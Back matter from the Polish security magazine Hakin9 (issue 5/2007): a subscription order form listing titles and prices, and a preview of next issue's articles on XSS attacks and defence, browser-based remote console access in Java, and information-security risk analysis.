Bokserska 1, 02-682 Warszawa, e-mail: pren@software.com.pl. Przyjmujemy też zamówienia telefoniczne: 

(22) 887 14 44 

Imię i nazwisko............................................................................................  ID kontrahenta..........................................................................................

Nazwa firmy.................................................................................................     Numer NIP firmy.......................................................................................

Dokładny adres....................................................................................................................................................................................................................

Telefon (wraz z numerem kierunkowym)................................................... Faks (wraz z numerem kierunkowym) ....................................................

E-mail (niezbędny do wysłania faktury)............................................................................................................................................................................

zamówienie prenumeraty

1

 Cena prenumeraty rocznej dla osób prywatnych 

2

 Cena prenumeraty rocznej dla osób prenumerujących już Software Developer’s Journal lub Linux+

3

 Cena prenumeraty dwuletniej Aurox Linux

  Jeżeli chcesz zapłacić kartą kredytową, wejdź na 

stronę naszego sklepu internetowego:

www.buyitpress.com

automatyczne przedłużenie prenumeraty

Suma

Tytuł

Ilość 

numerów

Ilość 

zamawianych 

prenumerat

Od numeru 

pisma lub 

miesiąca 

Opłata 

w zł 

z VAT

Software Developer’s Journal (1 płyta CD)

– dawniej Software 2.0

Miesięcznik profesjonalnych programistów

12

250/180

1

SDJ Extra

 (od 1 do 4 płyt CD lub DVD)

– dawniej Software 2.0 Extra!

Numery tematyczne dla programistów

6

150/135

2

Linux+DVD (2 płyty DVD)

Miesięcznik o systemie Linux

12

199/179

1

Linux+Extra! (od 1 do 7 płyt CD lub DVD)

Numery specjalne z najpopularniejszymi dystrybucjami Linuksa

8

232/198

2

PHP Solutions (1 płyta CD)

Dwumiesięcznik o zastosowaniach języka PHP

6

135

Hakin9, jak się obronić (1 płyta CD)

Miesięcznik o bezpieczeństwie i hakingu

12

199

1

/219

.psd (1 płyta CD + film instruktażowy)

Dwumiesięcznik użytkowników programu Adobe Photoshop

6

140

.psd numery specjalne 

(.psd Extra + .psd Starter Kit)

 6

140

background image

Aktualne informacje o najbliższym numerze 

http://www.hakin9.org/pl
Numer w sprzedaży na początku maja 2007 r.

Redakcja zastrzega sobie prawo zmiany zawartości pisma.

hakin9

 5/2007 

w następnym numerze 

między innymi:

Zapowiedzi

Ataki XSS

Temat  dotyka  problemu  ataków  XSS.  Od  kiedy  internet  stał  sie  cześcią 
naszego życia bezpieczeństwo stron internetowych zawsze wzbudzała wiel-
kie zainteresowanie. Autor pokaże, jak umieścić kod skryptu do wrażliwych 
stron www, jak obejść mechanizm filtrów oraz jak zabezpieczyć się przed 
atakami XSS.

Zdalna kontrola komputera ze stron www 

z użyciem technologii JEE5

Artykuł jest własnym projektem autora w architekturze klient-serwer (aple-
t+servlet),  który  umożliwia  bezpieczny  dostęp  do  konsoli  na  serwerze  z 
poziomu przeglądarki WWW na komputerze klienta. Artykuł jest świetną ilu-
stracją programowania sieciowego w Javie. 

Kwantywnie czy kwalifikatywnie, czyli kilka 

trudnych wyrazów na temat analizy ryzyka 

utraty bezpieczeństwa informacji

Artykuł  typu  teoria  przez  praktykę  opowiada  o  zbudowaniu  w  organizacji 
kompleksowego  systemu  bezpieczeństwa.  Artykuł  ma  charakter  tutoriala  i 
pokazuje krok po kroku jak przeprowadzić omawianą analizę.

Bezpieczeństwo – praca u podstaw

Temat  dotyczący  bezpieczeństwa  informacji  jest  tematem  powszechnie 
znanym. Mówi się o nim chętnie i dużo. Słusznie bo to bardzo ważna sprawa. 
Autor porusza tematykę bezpieczeństwa od podstaw. Stara się przekazać 
wiedzę, którą zgromadził dzięki swoim nabytym doświadczeniom.

NA CD:

•  hakin9.live-bootowalna dystrybucja Linuksa,
•  mnóstwo narzędzi – niezbędnik hakera,
•  tutoriale – praktyczne ćwiczenia zagadnień poruszanych w artykułach,
•  dodatkowa dokumentacja,
•  pełne wersje komercyjnych aplikacji.

Atak

Obrona

Obrona

Obrona

background image
background image